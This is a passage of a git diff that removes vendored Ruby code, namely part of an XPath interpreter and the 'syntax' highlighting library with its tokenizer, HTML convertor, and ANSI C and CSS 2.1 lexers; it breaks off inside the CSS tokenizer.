-      document_order(rs.flatten.compact)
-      #rs.flatten.compact
-    end
-
-    def d_o_s( p, ns, r )
-      #puts "IN DOS with #{ns.inspect}; ALREADY HAVE #{r.inspect}"
-      nt = nil
-      ns.each_index do |i|
-        n = ns[i]
-        #puts "P => #{p.inspect}"
-        x = expr( p.dclone, [ n ] )
-        nt = n.node_type
-        d_o_s( p, n.children, x ) if nt == :element or nt == :document and n.children.size > 0
-        r.concat(x) if x.size > 0
-      end
-    end
-
-
-    # Reorders an array of nodes so that they are in document order
-    # It tries to do this efficiently.
-    #
-    # FIXME: I need to get rid of this, but the issue is that most of the XPath 
-    # interpreter functions as a filter, which means that we lose context going
-    # in and out of function calls.  If I knew what the index of the nodes was,
-    # I wouldn't have to do this.  Maybe add a document IDX for each node?
-    # Problems with mutable documents.  Or, rewrite everything.
-    def document_order( array_of_nodes )
-      new_arry = []
-      array_of_nodes.each { |node|
-        node_idx = [] 
-        np = node.node_type == :attribute ? node.element : node
-        while np.parent and np.parent.node_type == :element
-          node_idx << np.parent.index( np )
-          np = np.parent
-        end
-        new_arry << [ node_idx.reverse, node ]
-      }
-      #puts "new_arry = #{new_arry.inspect}"
-      new_arry.sort{ |s1, s2| s1[0] <=> s2[0] }.collect{ |s| s[1] }
-    end
-
-
-    def recurse( nodeset, &block )
-      for node in nodeset
-        yield node
-        recurse( node, &block ) if node.node_type == :element
-      end
-    end
-
-
-
-    # Builds a nodeset of all of the preceding nodes of the supplied node,
-    # in reverse document order
-    # preceding:: includes every element in the document that precedes this node, 
-    # except for ancestors
-    def preceding( node )
-      #puts "IN PRECEDING"
-      ancestors = []
-      p = node.parent
-      while p
-        ancestors << p
-        p = p.parent
-      end
-
-      acc = []
-      p = preceding_node_of( node )
-      #puts "P = #{p.inspect}"
-      while p
-        if ancestors.include? p
-          ancestors.delete(p)
-        else
-          acc << p
-        end
-        p = preceding_node_of( p )
-        #puts "P = #{p.inspect}"
-      end
-      acc
-    end
-
-    def preceding_node_of( node )
-     #puts "NODE: #{node.inspect}"
-     #puts "PREVIOUS NODE: #{node.previous_sibling_node.inspect}"
-     #puts "PARENT NODE: #{node.parent}"
-      psn = node.previous_sibling_node 
-      if psn.nil?
-        if node.parent.nil? or node.parent.class == Document 
-          return nil
-        end
-        return node.parent
-        #psn = preceding_node_of( node.parent )
-      end
-      while psn and psn.kind_of? Element and psn.children.size > 0
-        psn = psn.children[-1]
-      end
-      psn
-    end
-
-    def following( node )
-      #puts "IN PRECEDING"
-      acc = []
-      p = next_sibling_node( node )
-      #puts "P = #{p.inspect}"
-      while p
-        acc << p
-        p = following_node_of( p )
-        #puts "P = #{p.inspect}"
-      end
-      acc
-    end
-
-    def following_node_of( node )
-      #puts "NODE: #{node.inspect}"
-      #puts "PREVIOUS NODE: #{node.previous_sibling_node.inspect}"
-      #puts "PARENT NODE: #{node.parent}"
-      if node.kind_of? Element and node.children.size > 0
-        return node.children[0]
-      end
-      return next_sibling_node(node)
-    end
-
-    def next_sibling_node(node)
-      psn = node.next_sibling_node 
-      while psn.nil?
-        if node.parent.nil? or node.parent.class == Document 
-          return nil
-        end
-        node = node.parent
-        psn = node.next_sibling_node
-        #puts "psn = #{psn.inspect}"
-      end
-      return psn
-    end
-
-    def norm b
-      case b
-      when true, false
-        return b
-      when 'true', 'false'
-        return Functions::boolean( b )
-      when /^\d+(\.\d+)?$/
-        return Functions::number( b )
-      else
-        return Functions::string( b )
-      end
-    end
-
-    def equality_relational_compare( set1, op, set2 )
-      #puts "EQ_REL_COMP(#{set1.inspect} #{op.inspect} #{set2.inspect})"
-      if set1.kind_of? Array and set2.kind_of? Array
-			  #puts "#{set1.size} & #{set2.size}"
-        if set1.size == 1 and set2.size == 1
-          set1 = set1[0]
-          set2 = set2[0]
-        elsif set1.size == 0 or set2.size == 0
-          nd = set1.size==0 ? set2 : set1
-          rv = nd.collect { |il| compare( il, op, nil ) }
-          #puts "RV = #{rv.inspect}"
-          return rv
-        else
-          res = []
-          enum = SyncEnumerator.new( set1, set2 ).each { |i1, i2|
-            #puts "i1 = #{i1.inspect} (#{i1.class.name})"
-            #puts "i2 = #{i2.inspect} (#{i2.class.name})"
-            i1 = norm( i1 )
-            i2 = norm( i2 )
-            res << compare( i1, op, i2 )
-          }
-          return res
-        end
-      end
-		  #puts "EQ_REL_COMP: #{set1.inspect} (#{set1.class.name}), #{op}, #{set2.inspect} (#{set2.class.name})"
-      #puts "COMPARING VALUES"
-      # If one is nodeset and other is number, compare number to each item
-      # in nodeset s.t. number op number(string(item))
-      # If one is nodeset and other is string, compare string to each item
-      # in nodeset s.t. string op string(item)
-      # If one is nodeset and other is boolean, compare boolean to each item
-      # in nodeset s.t. boolean op boolean(item)
-      if set1.kind_of? Array or set2.kind_of? Array
-			  #puts "ISA ARRAY"
-        if set1.kind_of? Array
-          a = set1
-          b = set2
-        else
-          a = set2
-          b = set1
-        end
-
-        case b
-        when true, false
-          return a.collect {|v| compare( Functions::boolean(v), op, b ) }
-        when Numeric
-          return a.collect {|v| compare( Functions::number(v), op, b )}
-        when /^\d+(\.\d+)?$/
-          b = Functions::number( b )
-          #puts "B = #{b.inspect}"
-          return a.collect {|v| compare( Functions::number(v), op, b )}
-        else
-				  #puts "Functions::string( #{b}(#{b.class.name}) ) = #{Functions::string(b)}"
-          b = Functions::string( b )
-          return a.collect { |v| compare( Functions::string(v), op, b ) }
-        end
-      else
-        # If neither is nodeset,
-        #   If op is = or !=
-        #     If either boolean, convert to boolean
-        #     If either number, convert to number
-        #     Else, convert to string
-        #   Else
-        #     Convert both to numbers and compare
-        s1 = set1.to_s
-        s2 = set2.to_s
-        #puts "EQ_REL_COMP: #{set1}=>#{s1}, #{set2}=>#{s2}"
-        if s1 == 'true' or s1 == 'false' or s2 == 'true' or s2 == 'false'
-          #puts "Functions::boolean(#{set1})=>#{Functions::boolean(set1)}"
-          #puts "Functions::boolean(#{set2})=>#{Functions::boolean(set2)}"
-          set1 = Functions::boolean( set1 )
-          set2 = Functions::boolean( set2 )
-        else
-          if op == :eq or op == :neq
-            if s1 =~ /^\d+(\.\d+)?$/ or s2 =~ /^\d+(\.\d+)?$/
-              set1 = Functions::number( s1 )
-              set2 = Functions::number( s2 )
-            else
-              set1 = Functions::string( set1 )
-              set2 = Functions::string( set2 )
-            end
-          else
-            set1 = Functions::number( set1 )
-            set2 = Functions::number( set2 )
-          end
-        end
-        #puts "EQ_REL_COMP: #{set1} #{op} #{set2}"
-        #puts ">>> #{compare( set1, op, set2 )}"
-        return compare( set1, op, set2 )
-      end
-      return false
-    end
-
-    def compare a, op, b
-      #puts "COMPARE #{a.inspect}(#{a.class.name}) #{op} #{b.inspect}(#{b.class.name})"
-      case op
-      when :eq
-        a == b
-      when :neq
-        a != b
-      when :lt
-        a < b
-      when :lteq
-        a <= b
-      when :gt
-        a > b
-      when :gteq
-        a >= b
-      when :and
-        a and b
-      when :or
-        a or b
-      else
-        false
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/syntax/lib/syntax.rb b/vendor/plugins/syntax/lib/syntax.rb
deleted file mode 100644
index 604dcc2f..00000000
--- a/vendor/plugins/syntax/lib/syntax.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'syntax/common'
-
-module Syntax
-
-  # A default tokenizer for handling syntaxes that are not explicitly handled
-  # elsewhere. It simply yields the given text as a single token.
-  class Default
-    
-    # Yield the given text as a single token.
-    def tokenize( text )
-      yield Token.new( text, :normal )
-    end
-
-  end
-
-  # A hash for registering syntax implementations.
-  SYNTAX = Hash.new( Default )
-
-  # Load the implementation of the requested syntax. If the syntax cannot be
-  # found, or if it cannot be loaded for whatever reason, the Default syntax
-  # handler will be returned.
-  def load( syntax )
-    begin
-      require "syntax/lang/#{syntax}"
-    rescue LoadError
-    end
-    SYNTAX[ syntax ].new
-  end
-  module_function :load
-
-  # Return an array of the names of supported syntaxes.
-  def all
-    lang_dir = File.join(File.dirname(__FILE__), "syntax", "lang")
-    Dir["#{lang_dir}/*.rb"].map { |path| File.basename(path, ".rb") }
-  end
-  module_function :all
-
-end
diff --git a/vendor/plugins/syntax/lib/syntax/common.rb b/vendor/plugins/syntax/lib/syntax/common.rb
deleted file mode 100644
index a986e656..00000000
--- a/vendor/plugins/syntax/lib/syntax/common.rb
+++ /dev/null
@@ -1,163 +0,0 @@
-require 'strscan'
-
-module Syntax
-
-  # A single token extracted by a tokenizer. It is simply the lexeme
-  # itself, decorated with a 'group' attribute to identify the type of the
-  # lexeme.
-  class Token < String
-
-    # the type of the lexeme that was extracted.
-    attr_reader :group
-
-    # the instruction associated with this token (:none, :region_open, or
-    # :region_close)
-    attr_reader :instruction
-
-    # Create a new Token representing the given text, and belonging to the
-    # given group.
-    def initialize( text, group, instruction = :none )
-      super text
-      @group = group
-      @instruction = instruction
-    end
-
-  end
-
-  # The base class of all tokenizers. It sets up the scanner and manages the
-  # looping until all tokens have been extracted. It also provides convenience
-  # methods to make sure adjacent tokens of identical groups are returned as
-  # a single token.
-  class Tokenizer
-
-    # The current group being processed by the tokenizer
-    attr_reader :group
-
-    # The current chunk of text being accumulated
-    attr_reader :chunk
-
-    # Start tokenizing. This sets up the state in preparation for tokenization,
-    # such as creating a new scanner for the text and saving the callback block.
-    # The block will be invoked for each token extracted.
-    def start( text, &block )
-      @chunk = ""
-      @group = :normal
-      @callback = block
-      @text = StringScanner.new( text )
-      setup
-    end
-
-    # Subclasses may override this method to provide implementation-specific
-    # setup logic.
-    def setup
-    end
-
-    # Finish tokenizing. This flushes the buffer, yielding any remaining text
-    # to the client.
-    def finish
-      start_group nil
-      teardown
-    end
-
-    # Subclasses may override this method to provide implementation-specific
-    # teardown logic.
-    def teardown
-    end
-
-    # Subclasses must implement this method, which is called for each iteration
-    # of the tokenization process. This method may extract multiple tokens.
-    def step
-      raise NotImplementedError, "subclasses must implement #step"
-    end
-
-    # Begins tokenizing the given text, calling #step until the text has been
-    # exhausted.
-    def tokenize( text, &block )
-      start text, &block
-      step until @text.eos?
-      finish
-    end
-
-    # Specify a set of tokenizer-specific options. Each tokenizer may (or may
-    # not) publish any options, but if a tokenizer does those options may be
-    # used to specify optional behavior.
-    def set( opts={} )
-      ( @options ||= Hash.new ).update opts
-    end
-
-    # Get the value of the specified option.
-    def option(opt)
-      @options ? @options[opt] : nil
-    end
-
-    private
-
-      EOL = /(?=\r\n?|\n|$)/
-
-      # A convenience for delegating method calls to the scanner.
-      def self.delegate( sym )
-        define_method( sym ) { |*a| @text.__send__( sym, *a ) }
-      end
-
-      delegate :bol?
-      delegate :eos?
-      delegate :scan
-      delegate :scan_until
-      delegate :check
-      delegate :check_until
-      delegate :getch
-      delegate :matched
-      delegate :pre_match
-      delegate :peek
-      delegate :pos
-
-      # Access the n-th subgroup from the most recent match.
-      def subgroup(n)
-        @text[n]
-      end
-
-      # Append the given data to the currently active chunk.
-      def append( data )
-        @chunk << data
-      end
-
-      # Request that a new group be started. If the current group is the same
-      # as the group being requested, a new group will not be created. If a new
-      # group is created and the current chunk is not empty, the chunk's
-      # contents will be yielded to the client as a token, and then cleared.
-      #
-      # After the new group is started, if +data+ is non-nil it will be appended
-      # to the chunk.
-      def start_group( gr, data=nil )
-        flush_chunk if gr != @group
-        @group = gr
-        @chunk << data if data
-      end
-
-      def start_region( gr, data=nil )
-        flush_chunk
-        @group = gr
-        @callback.call( Token.new( data||"", @group, :region_open ) )
-      end
-
-      def end_region( gr, data=nil )
-        flush_chunk
-        @group = gr
-        @callback.call( Token.new( data||"", @group, :region_close ) )
-      end
-
-      def flush_chunk
-        @callback.call( Token.new( @chunk, @group ) ) unless @chunk.empty?
-        @chunk = ""
-      end
-
-      def subtokenize( syntax, text )
-        tokenizer = Syntax.load( syntax )
-        tokenizer.set @options if @options
-        flush_chunk
-        tokenizer.tokenize( text, &@callback )
-      end
-
-  end
-
-end
diff --git a/vendor/plugins/syntax/lib/syntax/convertors/abstract.rb b/vendor/plugins/syntax/lib/syntax/convertors/abstract.rb
deleted file mode 100644
index 46c2f6fe..00000000
--- a/vendor/plugins/syntax/lib/syntax/convertors/abstract.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require 'syntax'
-
-module Syntax
-  module Convertors
-
-    # The abstract ancestor class for all convertors. It implements a few
-    # convenience methods to provide a common interface for all convertors.
-    class Abstract
-
-      # A reference to the tokenizer used by this convertor.
-      attr_reader :tokenizer
-
-      # A convenience method for instantiating a new convertor for a
-      # specific syntax.
-      def self.for_syntax( syntax )
-        new( Syntax.load( syntax ) )
-      end
-
-      # Creates a new convertor that uses the given tokenizer.
-      def initialize( tokenizer )
-        @tokenizer = tokenizer
-      end
-
-    end
-
-  end
-end
diff --git a/vendor/plugins/syntax/lib/syntax/convertors/html.rb b/vendor/plugins/syntax/lib/syntax/convertors/html.rb
deleted file mode 100644
index 5df416a8..00000000
--- a/vendor/plugins/syntax/lib/syntax/convertors/html.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-require 'syntax/convertors/abstract'
-
-module Syntax
-  module Convertors
-
-    # A simple class for converting a text into HTML.
-    class HTML < Abstract
-
-      # Converts the given text to HTML, using spans to represent token groups
-      # of any type but <tt>:normal</tt> (which is always unhighlighted). If
-      # +pre+ is +true+, the html is automatically wrapped in pre tags.
-      def convert( text, pre=true )
-        html = ""
-        html << "<pre>" if pre
-        regions = []
-        @tokenizer.tokenize( text ) do |tok|
-          value = html_escape(tok)
-          case tok.instruction
-            when :region_close then
-              regions.pop
-              html << "</span>"
-            when :region_open then
-              regions.push tok.group
-              html << "<span class=\"#{tok.group}\">#{value}"
-            else
-              if tok.group == ( regions.last || :normal )
-                html << value
-              else
-                html << "<span class=\"#{tok.group}\">#{value}</span>"
-              end
-          end
-        end
-        html << "</span>" while regions.pop
-        html << "</pre>" if pre
-        html
-      end
-
-      private
-
-        # Replaces some characters with their corresponding HTML entities.
-        def html_escape( string )
-          string.gsub( /&/, "&amp;" ).
-                 gsub( /</, "&lt;" ).
-                 gsub( />/, "&gt;" ).
-                 gsub( /"/, "&quot;" )
-        end
-
-    end
-
-  end
-end
diff --git a/vendor/plugins/syntax/lib/syntax/lang/ansic.rb b/vendor/plugins/syntax/lib/syntax/lang/ansic.rb
deleted file mode 100644
index 65463ccc..00000000
--- a/vendor/plugins/syntax/lib/syntax/lang/ansic.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-require 'syntax'
-
-module Syntax
-
-  class AnsiC < Tokenizer
-    
-    def self.add_type(name)
-      ANSIC_PREDEFINED_TYPES << name
-    end
-    
-    ANSIC_KEYWORDS =
-      Set.new %w{asm break case continue default do else for goto if return
-         switch while struct union enum typedef static register
-         auto extern sizeof volatile const inline restrict} unless const_defined?(:ANSIC_KEYWORDS)
-
-    ANSIC_PREDEFINED_TYPES =
-      Set.new %w{int long short char void signed unsigned 
-         float double bool complex} unless const_defined?(:ANSIC_PREDEFINED_TYPES)
-
-    ANSIC_PREDEFINED_CONSTANTS =
-      %w{EOF NULL true false} unless const_defined?(:ANSIC_PREDEFINED_CONSTANTS)
-
-    ANSIC_ESCAPE = / [rbfnrtv\n\\'"] | x[a-fA-F0-9]{1,2} | [0-7]{1,3} /x unless const_defined?(:ANSIC_ESCAPE)
-
-    def step
-      case
-      when scan(/\s+/)
-        start_group :normal, matched
-      when match = scan(/#\s*(\w*)/)
-        match << scan_until(/\n/)
-        start_group :preprocessor, match
-      when scan(/ L?' (?: [^\'\n\\] | \\ #{ANSIC_ESCAPE} )? '? /ox)
-        start_group :char, matched
-      when scan(/0[xX][0-9A-Fa-f]+/)
-        start_group :hex, matched
-      when scan(/(?:0[0-7]+)(?![89.eEfF])/)
-        start_group :oct, matched
-      when scan(/(?:\d+)(?![.eEfF])/)
-        start_group :integer, matched
-      when scan(/\d[fF]?|\d*\.\d+(?:[eE][+-]?\d+)?[fF]?|\d+[eE][+-]?\d+[fF]?/)
-        start_group :float, matched
-      when scan(/"(?:[^"\\]|\\.)*"/)
-        start_group :string, matched
-      when scan( %r{ ('(?: . | [\t\b\n] )') }x )
-        start_group :char, matched
-      when scan(/[a-z_][a-z_\d]+/)
-        if ANSIC_KEYWORDS.include?( matched )
-          start_group :keyword, matched
-        elsif ANSIC_PREDEFINED_TYPES.include?( matched )
-          start_group :predefined_types, matched
-        else
-          start_group :ident, matched
-        end
-      when scan(%r! // [^\n\\]* (?: \\. [^\n\\]* )* | /\* (?: .*? \*/ | .* ) !mx)
-        start_group :comment, matched
-      else
-        start_group :other, scan(/./x)
-      end
-    end
-
-  end
-
-  SYNTAX["ansic"] = AnsiC
-
-end
-
-
-
-
diff --git a/vendor/plugins/syntax/lib/syntax/lang/css21.rb b/vendor/plugins/syntax/lib/syntax/lang/css21.rb
deleted file mode 100644
index e3c43e66..00000000
--- a/vendor/plugins/syntax/lib/syntax/lang/css21.rb
+++ /dev/null
@@ -1,324 +0,0 @@
-require 'syntax'
-
-module Syntax
-
-  class CSS21 < Tokenizer
-
-    CSS21_PROPERTIES = Set.new %w{font-family font-style font-variant font-weight
-      font-size font background-color background-image
-      background-repeat background-attachment background-position
-      color background word-spacing letter-spacing
-      border-top-width border-right-width border-left-width
-      border-bottom-width border-width list-style-type
-      list-style-image list-style-position text-decoration
-      vertical-align text-transform text-align text-indent
-      line-height margin-top margin-right margin-bottom
-      margin-left margin padding-top padding-right padding-bottom
-      padding-left padding border-top border-right border-bottom
-      border-left border width height float clear display
-      list-style white-space border-style border-color
-      azimuth border-bottom-color border-bottom-style
-      border-collapse border-left-color border-left-style
-      border-right-color border-right-style border-top-color
-      border-top-style caption-side cell-spacing clip column-span
-      content cue cue-after cue-before cursor direction
-      elevation font-size-adjust marks max-height max-width
-      min-height min-width orphans overflow page-break-after
-      page-break-before pause pause-after pause-before pitch
-      pitch-range play-during position richness right row-span
-      size speak speak-date speak-header speak-punctuation
-      speak-time speech-rate stress table-layout text-shadow top
-      visibility voice-family volume
-      widows z-index quotes
-      marker-offset outline outline-color outline-style outline-width
-      border-spacing border-collapse
-      page-break-before page-break-after page-break-inside
-      orphans widows} unless const_defined?(:CSS21_PROPERTIES)
-
-    CSS21_KEYWORDS = Set.new %w{maroon red orange yellow olive purple
-      fuchsia white lime green navy blue aqua teal black silver gray
-      scroll fixed transparent none top center bottom
-      left right repeat repeat-x repeat-y no-repeat
-      thin medium thick dotted dashed solid double groove ridge
-      inset outset both block inline list-item
-      xx-small x-small small medium large x-large xx-large
-      smaller italic oblique small-caps bold bolder lighter auto
-      disc circle square decimal lower-roman upper-roman lower-alpha
-      upper-alpha inside outside justify underline overline line-through
-      blink capitalize uppercase lowercase baseline sub super
-      top text-top middle bottom text-bottom pre nowrap
-      compact run-in inherit caption icon menu message-box small-caption
-      status-bar marker
-      table inline-table table-column-group table-column
-      table-row-group table-row table-cell table-caption
-      table-header-group table-footer-group
-      screen print projection braille embosed aural tv
-      tty handheld cross hidden open-quote close-quote
-      absolute relative normal collapse
-      serif sans-serif monospace cursive
-      fantasy, always} unless const_defined?(:CSS21_KEYWORDS)
-
-    HTML_TAGS = Set.new %w{a abbr address area article aside
-      audio b base bdo blockquote body br button canvas caption
-      cite code col colgroup command datalist dd del details dfn
-      div dl dt em embed fieldset figure footer form h1 h2 h3
-      h4 h5 h6 head header hgroup hr html i iframe img input ins
-      kbd keygen label legend li link map mark menu meta meter
-      nav noscript object ol optgroup option output p param pre
-      progress q rp rt ruby samp script section select small
-      source span strong style sub sup table tbody td textarea
-      tfoot th thead time title tr ul var video
-      acronym applet big center frame frameset isindex marquee
-      noframes s tt u} unless const_defined?(:HTML_TAGS)
-
-    MATHML_TAGS = Set.new %w{annotation annotation-xml maction
-      malign maligngroup malignmark malignscope math menclose
-      merror mfenced mfrac mglyph mi mlabeledtr mlongdiv mmultiscripts
-      mn mo mover mpadded mphantom mprescripts mroot mrow ms mscarries
-      mscarry msgroup msline mspace msqrt msrow mstack mstyle msub
-      msubsup msup mtable mtd mtext mtr munder munderover none
-      semantics} unless const_defined?(:MATHML_TAGS)
-
-    SVG_TAGS = Set.new %w{a altGlyph altGlyphDef altGlyphItem animate
-      animateColor animateMotion animateTransform circle clipPath
-      color-profile cursor definition-src defs desc ellipse feBlend
-      feColorMatrix feComponentTransfer feComposite feConvolveMatrix
-      feDiffuseLighting feDisplacementMap feDistantLight feFlood feFuncA
-      feFuncB feFuncG feFuncR feGaussianBlur feImage feMerge feMergeNode
-      feMorphology feOffset fePointLight feSpecularLighting feSpotLight
-      feTile feTurbulence filter font font-face font-face-format
-      font-face-name font-face-src font-face-uri foreignObject g glyph
-      glyphRef hkern image line linearGradient marker mask metadata
-      missing-glyph mpath path pattern polygon polyline radialGradient
-      rect script set stop style svg switch symbol text textPath title
-      tref tspan use view vkern} unless const_defined?(:SVG_TAGS)
-      
-    MY_TAGS = HTML_TAGS + MATHML_TAGS + SVG_TAGS unless const_defined?(:MY_TAGS)
-
-    def setup
-      @selector = true
-      @macros = {}
-      @tokens = {}
-
-      # http://www.w3.org/TR/CSS21/syndata.html
-      macro(:h, /([0-9a-fA-F])/ ) # uppercase A-Z added?
-      macro(:nonascii, /([^\000-\177])/ )
-      macro(:nl, /(\n|\r\n|\r|\f)/ )
-      macro(:unicode, /(\\#{m(:h)}{1,6}(\r\n|[ \t\r\n\f])?)/ )
-      macro(:escape, /(#{m(:unicode)}|\\[^\r\n\f0-9a-f])/ )
-      macro(:nmstart, /([_a-z]|#{m(:nonascii)}|#{m(:escape)})/ )
-      macro(:nmchar, /([_a-z0-9-]|#{m(:nonascii)}|#{m(:escape)})/ )
-      macro(:string1, /(\"([^\n\r\f\\\"]|\\#{m(:nl)}|#{m(:escape)})*\")/ )
-      macro(:string2, /(\'([^\n\r\f\\']|\\#{m(:nl)}|#{m(:escape)})*\')/ )
-      macro(:invalid1, /(\"([^\n\r\f\\\"]|\\#{m(:nl)}|#{m(:escape)})*)/ )
-      macro(:invalid2, /(\'([^\n\r\f\\']|\\#{m(:nl)}|#{m(:escape)})*)/ )
-      macro(:comment, /(\/\*[^*]*\*+([^\/*][^*]*\*+)*\/)/ )
-      macro(:ident, /(-?#{m(:nmstart)}#{m(:nmchar)}*)/ )
-      macro(:name, /(#{m(:nmchar)}+)/ )
-      macro(:num, /([0-9]+|[0-9]*\.[0-9]+)/ )
-      macro(:string, /(#{m(:string1)}|#{m(:string2)})/ )
-      macro(:invalid, /(#{m(:invalid1)}|#{m(:invalid2)})/ )
-      macro(:s, /([ \t\r\n\f]+)/ )
-      macro(:w, /(#{m(:s)}?)/ )
-      macro(:A, /(a|\\0{0,4}(41|61)(\r\n|[ \t\r\n\f])?)/ )
-      macro(:C, /(c|\\0{0,4}(43|63)(\r\n|[ \t\r\n\f])?)/ )
-      macro(:D, /(d|\\0{0,4}(44|64)(\r\n|[ \t\r\n\f])?)/ )
-      macro(:E, /(e|\\0{0,4}(45|65)(\r\n|[ \t\r\n\f])?)/ )
-      macro(:G, /(g|\\0{0,4}(47|67)(\r\n|[ \t\r\n\f])?|\\g)/ )
-      macro(:H, /(h|\\0{0,4}(48|68)(\r\n|[ \t\r\n\f])?|\\h)/ )
-      macro(:I, /(i|\\0{0,4}(49|69)(\r\n|[ \t\r\n\f])?|\\i)/ )
-      macro(:K, /(k|\\0{0,4}(4b|6b)(\r\n|[ \t\r\n\f])?|\\k)/ )
-      macro(:M, /(m|\\0{0,4}(4d|6d)(\r\n|[ \t\r\n\f])?|\\m)/ )
-      macro(:N, /(n|\\0{0,4}(4e|6e)(\r\n|[ \t\r\n\f])?|\\n)/ )
-      macro(:O, /(o|\\0{0,4}(51|71)(\r\n|[ \t\r\n\f])?|\\o)/ )
-      macro(:P, /(p|\\0{0,4}(50|70)(\r\n|[ \t\r\n\f])?|\\p)/ )
-      macro(:R, /(r|\\0{0,4}(52|72)(\r\n|[ \t\r\n\f])?|\\r)/ )
-      macro(:S, /(s|\\0{0,4}(53|73)(\r\n|[ \t\r\n\f])?|\\s)/ )
-      macro(:T, /(t|\\0{0,4}(54|74)(\r\n|[ \t\r\n\f])?|\\t)/ )
-      macro(:X, /(x|\\0{0,4}(58|78)(\r\n|[ \t\r\n\f])?|\\x)/ )
-      macro(:Z, /(z|\\0{0,4}(5a|7a)(\r\n|[ \t\r\n\f])?|\\z)/ )
-
-      token(:COMMENT, /#{m(:comment)}/)
-
-      token(:HASH, /\#/)
-      token(:IDENT, /#{m(:ident)}/)
-      token(:LBRACE, /#{m(:w)}\{/)
-      token(:RBRACE, /#{m(:w)}\}/)
-
-      token(:S, /#{m(:s)}/)
-
-      token(:FUNCTION, /#{m(:ident)}(?=\()/)
-
-      token(:PLUS, /#{m(:w)}\+/)
-      token(:GREATER, /#{m(:w)}>/)
-      token(:COMMA, /#{m(:w)},/)
-
-      token(:CDO, /<!--/)
-      token(:CDC, /-->/)
-      token(:INCLUDES, /~=/)
-      token(:DASHMATCH, /\|=/)
-      token(:STRING, /#{m(:string)}/)
-      token(:INVALID, /#{m(:invalid)}/)
-      token(:IMPORT_SYM, /@#{m(:I)}#{m(:M)}#{m(:P)}#{m(:O)}#{m(:R)}#{m(:T)}/)
-      token(:PAGE_SYM, /@#{m(:P)}#{m(:A)}#{m(:G)}#{m(:E)}/)
-      token(:MEDIA_SYM, /@#{m(:M)}#{m(:E)}#{m(:D)}#{m(:I)}#{m(:A)}/)
-      token(:CHARSET_SYM, /@#{m(:C)}#{m(:H)}#{m(:A)}#{m(:R)}#{m(:S)}#{m(:E)}#{m(:T)}/)
-      token(:IMPORTANT_SYM, /!(#{m(:w)}|#{m(:comment)})*#{m(:I)}#{m(:M)}#{m(:P)}#{m(:O)}#{m(:R)}#{m(:T)}#{m(:A)}#{m(:N)}#{m(:T)}/)
-      token(:EMS, /#{m(:num)}#{m(:E)}#{m(:M)}/)
-      token(:EXS, /#{m(:num)}#{m(:E)}#{m(:X)}/)
-
-      token :LENGTH do |patterns|
-        patterns << /#{m(:num)}#{m(:P)}#{m(:X)}/
-        patterns << /#{m(:num)}#{m(:C)}#{m(:M)}/
-        patterns << /#{m(:num)}#{m(:M)}#{m(:M)}/
-        patterns << /#{m(:num)}#{m(:I)}#{m(:N)}/
-        patterns << /#{m(:num)}#{m(:P)}#{m(:T)}/
-        patterns << /#{m(:num)}#{m(:P)}#{m(:C)}/
-      end
-
-      token :ANGLE do |patterns|
-        patterns << /#{m(:num)}#{m(:D)}#{m(:E)}#{m(:G)}/
-        patterns << /#{m(:num)}#{m(:R)}#{m(:A)}#{m(:D)}/
-        patterns << /#{m(:num)}#{m(:G)}#{m(:R)}#{m(:A)}#{m(:D)}/
-      end
-
-      token :TIME do |patterns|
-        patterns << /#{m(:num)}#{m(:M)}#{m(:S)}/
-        patterns << /#{m(:num)}#{m(:S)}/
-      end
-
-      token :FREQ do |patterns|
-        patterns << /#{m(:num)}#{m(:H)}#{m(:Z)}/
-        patterns << /#{m(:num)}#{m(:K)}#{m(:H)}#{m(:Z)}/
-      end
-
-      token :URI do |patterns|
-        patterns << /url\(#{m(:w)}#{m(:string)}#{m(:w)}\)/
-        patterns << /url\(#{m(:w)}([!$%&*-~]|#{m(:nonascii)}|#{m(:escape)})*#{m(:w)}\)/
-      end
-
-      token(:DIMENSION, /#{m(:num)}#{m(:ident)}/)
-      token(:PERCENTAGE, /#{m(:num)}%/)
-      token(:HEXNUM, /##{m(:h)}{2,6}/)
-      token(:NUMBER, /#{m(:num)}/)
-
-    end
-
-    def step
-
-      case
-
-      # scanning selectors only
-      when @selector && scan(@tokens[:LBRACE])
-        @selector = false
-        start_group :normal, matched
-      when @selector && scan(@tokens[:IMPORT_SYM])
-        start_group :import, matched
-      when @selector && scan(@tokens[:PAGE_SYM])
-        start_group :page, matched
-      when @selector && scan(@tokens[:MEDIA_SYM])
-        start_group :media, matched
-      when @selector && scan(@tokens[:CHARSET_SYM])
-        start_group :charset, matched
-      when @selector && scan(@tokens[:HASH])
-        start_group :normal, matched
-      when @selector && scan(@tokens[:URI])
-        start_group :uri, matched
-
-      when @selector && scan(@tokens[:IDENT])
-        if MY_TAGS.include?( matched )
-          start_group :tag, matched
-        else
-          start_group :ident, matched
-        end
-
-      # scanning declarations only
-      when !@selector && scan(@tokens[:RBRACE])
-        @selector = true
-        start_group :normal, matched
-      when !@selector && scan(@tokens[:FUNCTION])
-        start_group :function, matched
-      when !@selector && scan(@tokens[:EMS])
-        start_group :ems, matched
-      when !@selector && scan(@tokens[:EXS])
-        start_group :exs, matched
-      when !@selector && scan(@tokens[:LENGTH])
-        start_group :length, matched
-      when !@selector && scan(@tokens[:ANGLE])
-        start_group :angle, matched
-      when !@selector && scan(@tokens[:TIME])
-        start_group :time, matched
-      when !@selector && scan(@tokens[:FREQ])
-        start_group :freq, matched
-      when !@selector && scan(@tokens[:PERCENTAGE])
-        start_group :percentage, matched
-      when !@selector && scan(@tokens[:DIMENSION])
-        start_group :dimension, matched
-      when !@selector && scan(@tokens[:NUMBER])
-        start_group :number, matched
-      when !@selector && scan(@tokens[:HEXNUM])
-        start_group :number, matched
-      when !@selector && scan(@tokens[:IMPORTANT_SYM])
-        start_group :important, matched
-
-      when !@selector && scan(@tokens[:IDENT])
-        if CSS21_PROPERTIES.include?( matched ) # are they disjoint?
-          start_group :property, matched
-        elsif CSS21_KEYWORDS.include?( matched )
-          start_group :keyword, matched
-        else
-          start_group :ident, matched
-        end
-
-      # scanning both
-      when scan(@tokens[:S])
-        start_group :normal, matched
-      when scan(@tokens[:COMMENT])
-        start_group :comment, matched
-      when scan(@tokens[:STRING])
-        start_group :string, matched
-      when scan(@tokens[:CDO])
-        start_group :cdo, matched
-      when scan(@tokens[:CDC])
-        start_group :cdc, matched
-      when scan(@tokens[:INVALID])
-        start_group :invalid, matched
-      else
-        start_group :normal, scan(/./x)
